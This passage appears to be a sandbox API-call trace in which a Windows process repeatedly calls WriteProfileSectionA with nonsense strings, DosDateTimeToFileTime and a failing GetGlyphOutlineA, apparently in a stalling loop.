	[0069.026] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.028] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.028] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.028] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.030] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.030] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.030] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.031] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.031] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.031] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.033] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.033] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.033] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.036] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.036] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.036] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.037] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.037] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.037] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.039] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.039] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.040] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.042] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.042] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.042] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.044] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.044] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.044] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.048] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.048] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.048] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.051] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.051] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.051] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.052] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.053] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.053] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.054] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.054] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.054] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.057] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.057] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.057] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.059] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.059] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.059] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.062] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.062] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.062] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.064] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.064] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.064] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.067] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.067] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.067] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.068] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.068] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.068] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.070] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.070] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.070] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.086] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.086] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.086] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.088] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.088] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.088] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.090] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.090] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.090] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.092] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.092] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.092] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.094] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.094] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.094] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.096] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.096] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.096] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.097] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.097] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.097] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.098] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.098] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.099] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.100] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.100] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.100] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.107] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.107] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.107] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.109] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.109] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.109] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.115] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.115] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.115] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.118] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.118] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.118] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.125] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.125] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.125] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.127] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.127] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.127] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.129] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.129] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.129] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.131] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.132] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.132] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.134] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.134] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.134] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.136] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.136] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.136] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.137] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.137] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.137] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.139] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.139] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.139] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.141] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.141] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.141] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.143] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.143] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.143] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.147] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.147] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.147] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.154] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.154] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.154] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.156] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.156] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.156] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.158] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.158] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.158] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.159] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.159] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.160] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.161] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.161] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.161] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.163] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.163] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.163] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.165] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.165] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.165] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.167] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.167] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.167] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.169] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.169] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.169] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.170] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.170] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
